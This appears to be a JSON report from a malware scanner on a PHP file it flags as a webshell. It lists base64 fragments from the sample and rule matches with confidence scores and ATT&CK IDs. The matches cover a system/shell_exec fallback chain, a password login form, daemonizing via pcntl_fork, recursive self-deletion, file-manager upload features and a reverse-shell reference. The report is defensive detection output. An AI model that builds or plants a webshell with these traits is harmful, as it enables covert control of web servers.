"XVFNawIxEL0L/odhhZJocF2v2oKIBSmtontrZVmTbDd0TSSJxQ/8702y1loPSWbmvXkzvLSEpNWOcRgay4Tqlk/NRuuvdjCxUfSL2ztAcivciYUMgJAWNrmQyAe5/qQE", "dVJhS+QwEP0u+B9yFW6Ttex2BT/1erCcCiK3B+oXUSkxSe1gNylJVl0W//tNmha0KrRJ5r2XzMtMDkCLZiMV+eW8BDOrf+/vHbzDLOjHMbh1c79tlfsCd0Y8KT8itPKA", "dZFfT4MwFMXf+RQVmSvJEuYzqcmCaJZlYwH0xT+EwVUbR0vaLmZx87PblqnEbG/33HPOL7dwfhZspAhWlAUtiLWzkYAyXr2DCh2PS0SQ95zoUW6lgoa4Ninf3NChL9gG", "tVbJbtswEL33KwgEBVrAMrS4biKfggL9gqLXghIpiwhFChQd2xHy7xUpyhwtdlIgFS+2PJzlvTczziQ5tyjD+dNeyYMg6V1onx0qpNBBw15oGkX1yX0vcMX4Of2FS1nh", "7Vh3WFPZtj8pkEASEiQISDsoCigdRkCDJAICChIBFQtCGhhNMzmhSAsTUEOMxq4ICg6jjgURlSpFcChWHBsKKDrohRvaIBcYUc8NI3e+Ke/73n/vj/fe+r619lm/Vfba", "bZFvS8MwEMbf51PcYre1UKjiy1pxdFXHtnY0VRD/lNneNFiT0maozPnZTYpTEd+F537P5e65vZ63bhvvnguvxqYilmwhAOsu8YnFzqPZLKBdsX2kPuEru6t/wLP3okXu", "lVNda9swFH22wf9B9R4qk9T56PYS0CCMlJYlzWgyGHQjuLZSizqSkZS2+ffVvbKb0GSM5SHWx9E5514dfTrrbY3uPQjZ4/KZ1DtbKhmFYlMrbYkyXWJ28KfyJ267xIoN", "AQYD+fyJUE5HDQoaCgAAAA1JSERSAAAAEAAAABAIBgAAAB/z/2EAAAAEZ0FNQQAAr8g3BYrpAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAphJ" ], "i": "objectives/anti-static/obfuscation/string/base64::long-base64-in-strings", "l": 3 }, { "c": 0.699999988079071, "d": "perl interpreter keyword (beyond shebang)", "e": [ "perl" ], "i": "micro-behaviors/process/interpreter/perl::perl-keyword", "l": 3 }, { "a": "T1027", "c": 0.8999999761581421, "d": "PHP source contains very long line", "e": [ "text.max_line_length = 5859.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::php-single-long-line", "l": 4, "m": "B0032" }, { "a": "T1505.003", "c": 0.8500000238418579, "d": "HTML password form in PHP", "e": [ "\u003cinput id=\"login\" class=\"inputz\" type=\"password\"" ], "i": "objectives/command-and-control/backdoor/webshell/auth::password-form", "l": 4, "m": "B0030" }, { "a": "T1027", "c": 0.8500000238418579, "d": "Multiple long lines (\u003e1000 chars)", "e": [ "text.lines_over_1000 = 4.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::very-long-lines", "l": 2, "m": "B0032" }, { "a": "T1036", "c": 0.8500000238418579, "d": "Create new session (daemonize)", "e": [ "posix_setsid" ], "i": "micro-behaviors/process/control/signal::posix-setsid", "l": 4, "m": "F0004" }, { "a": "T1059.004", "c": 0.8999999761581421, "d": "Variable input reaches core exec functions", "e": [ "system($" ], "i": "micro-behaviors/process/create/shell/lang::exec-user-input-func-core", "l": 3, "m": "E1059" }, { "a": "T1110.001", "c": 0.8500000238418579, "d": "Service account mysql", "e": [ "mysql" ], "i": "objectives/lateral-movement/brute-force/password::service-account-mysql", "l": 1, "m": "E1110" }, { "c": 0.75, "d": "Inline password token in lure", "e": [ "password) is empty" ], "i": "objectives/lateral-movement/social-engineering/lures::inline-password-token", "l": 1 }, { "a": "T1071.001", "c": 0.6000000238418579, "d": "multipart/form-data content type", "e": [ "multipart/form-data" ], "i": "micro-behaviors/communications/http/post::multipart-form", "l": 1, "m": "C0002" }, { "a": "T1057", "c": 0.6000000238418579, "d": "tasklist command (Windows)", "e": [ "tasklist" ], "i": "micro-behaviors/process/enumerate/shell::tasklist", "l": 3 }, { "a": "T1070.003", "c": 0.800000011920929, "d": "pkill with kill -9 signal", "e": [ "kill -9" ], "i": "objectives/evasion/indicator-removal/cleanup::pkill-signal-9", "l": 3 }, { "c": 0.800000011920929, "d": "Process fork via pcntl_fork()", "e": [ "pcntl_fork" ], "i": "micro-behaviors/process/control/signal::pcntl-fork", "l": 3, "m": "C0032" }, { "c": 0.699999988079071, "d": "python interpreter keyword (beyond shebang)", "e": [ "python" ], "i": "micro-behaviors/process/interpreter/python::python-keyword", "l": 3 }, { "a": "T1059.004", "c": 0.6000000238418579, "d": "References /bin/sh (Bourne shell)", "e": [ "/bin/sh" ], "i": "micro-behaviors/process/create/shell/invoke::bin-sh", "l": 3, "m": "E1059.004" }, { "c": 0.949999988079071, "d": "Falls back through multiple PHP execution functions", "e": [ "system", "shell_exec" ], "i": "objectives/command-and-control/backdoor/webshell/exec::php-execution-fallback-chain", "l": 4, "m": "B0030" }, { "a": "T1070.004", "c": 1.0, "d": "Recursive directory cleanup in PHP", "e": [ "rmdir", "unlink", "scandir" ], "i": "objectives/evasion/self-delete/scripts::php-recursive-delete", "l": 4 }, { "c": 0.8999999761581421, "d": "PHP daemonization pattern", "e": [ "pcntl_fork", "posix_setsid" ], "i": "micro-behaviors/process/control/signal::daemonize", "l": 4, "m": "F0004" }, { "a": "T1505.003", "c": 0.9800000190734863, "d": "Payload includes file management features (upload, list, delete)", "e": [ "7Vh3WFPZtj8pkEASEiQISDsoCigdRkCDJAICChIBFQtCGhhNMzmhSAsTUEOMxq4ICg6jjgURlSpFcChWHBsKKDrohRvaIBcYUc8NI3e+Ke/73n/vj/fe+r619lm/Vfba", "unlink", "dVJhS+QwEP0u+B9yFW6Ttex2BT/1erCcCiK3B+oXUSkxSe1gNylJVl0W//tNmha0KrRJ5r2XzMtMDkCLZiMV+eW8BDOrf+/vHbzDLOjHMbh1c79tlfsCd0Y8KT8itPKA", "scandir", "bZFvS8MwEMbf51PcYre1UKjiy1pxdFXHtnY0VRD/lNneNFiT0maozPnZTYpTEd+F537P5e65vZ63bhvvnguvxqYilmwhAOsu8YnFzqPZLKBdsX2kPuEru6t/wLP3okXu", "dZFfT4MwFMXf+RQVmSvJEuYzqcmCaJZlYwH0xT+EwVUbR0vaLmZx87PblqnEbG/33HPOL7dwfhZspAhWlAUtiLWzkYAyXr2DCh2PS0SQ95zoUW6lgoa4Ninf3NChL9gG", "XVFNawIxEL0L/odhhZJocF2v2oKIBSmtontrZVmTbDd0TSSJxQ/8702y1loPSWbmvXkzvLSEpNWOcRgay4Tqlk/NRuuvdjCxUfSL2ztAcivciYUMgJAWNrmQyAe5/qQE", "move_uploaded_file", "AQYD+fyJUE5HDQoaCgAAAA1JSERSAAAAEAAAABAIBgAAAB/z/2EAAAAEZ0FNQQAAr8g3BYrpAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAphJ", "tVbJbtswEL33KwgEBVrAMrS4biKfggL9gqLXghIpiwhFChQd2xHy7xUpyhwtdlIgFS+2PJzlvTczziQ5tyjD+dNeyYMg6V1onx0qpNBBw15oGkX1yX0vcMX4Of2FS1nh", "lVNda9swFH22wf9B9R4qk9T56PYS0CCMlJYlzWgyGHQjuLZSizqSkZS2+ffVvbKb0GSM5SHWx9E5514dfTrrbY3uPQjZ4/KZ1DtbKhmFYlMrbYkyXWJ28KfyJ267xIoN" ], "i": "objectives/command-and-control/backdoor/webshell/stager::php-file-manager-payload", "l": 4 }, { "a": "T1059", "c": 0.6600000262260437, "d": "References a reverse shell", "e": [ "reverse shell" ], "i": "objectives/command-and-control/reverse-shell/detection::reverse-shell-comp", "l": 4 }, { "c": 0.9200000166893005, "d": "PHP unlink near file recreate", "e": [ "fopen($fpath,\"w\"", "unlink" ], "i": "objectives/impact/infect/script::php-unlink-recreate-pattern", "l": 1 }, { "a": "T1505.003", "c": 0.9700000286102295, "d": "PHP administrative webshell UI", "e": [ "ini_get(\"safe_mode", "exec", "phpinfo" ], "i": "objectives/command-and-control/backdoor/webshell/ui::php-admin-webshell-ui", "l": 5, "m": "B0030" }, { "c": 1.0, "d": "php code embedded in string", "e": [ "Detected php at offset 0x0" ], "i": "metadata/lang/embedded::php", "l": 2 }, { "c": 0.8999999761581421, "d": "Web Shell - file metaslsoft.php", "e": [ "$buff .= \"\u003ctr\u003e\u003ctd\u003e\u003ca href=\\\"?d=\".$pwd.\"\\\"\u003e[ $folder ]\u003c/a\u003e\u003c/td\u003e\u003ctd\u003eLINK\u003c/t" ], "i": "third_party/SigBase/Webshell/Metaslsoft", "l": 5 }, { "c": 0.8999999761581421, "d": "php webshell having some kind of input and some kind of payload. restricted to small files or big ones including suspicious strings", "e": [ "\u003c?", "\u003c?php" ], "i": "third_party/SigBase/EXT/WEBSHELL/PHP/Generic", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k", "e": [ "\u003c?php", "\u003c?", "$ext[count($", "eval(", "\"cmd\"" ], "i": "third_party/SigBase/WEBSHELL/PHP/Dynamic/Big", "l": 5 } ], "sha": "137c762f718a03d73399f5d88fcc7a23a7eb158b0ea1b6fcac8090119bbff48d", "path": "2001:16a2:4e5f:7800:8506:10f0:187e:f721XGYGWGIRg05plbMQNUmy8wAAAAo.0.file", "type": "php" } ], "tv": "0a4d2" } }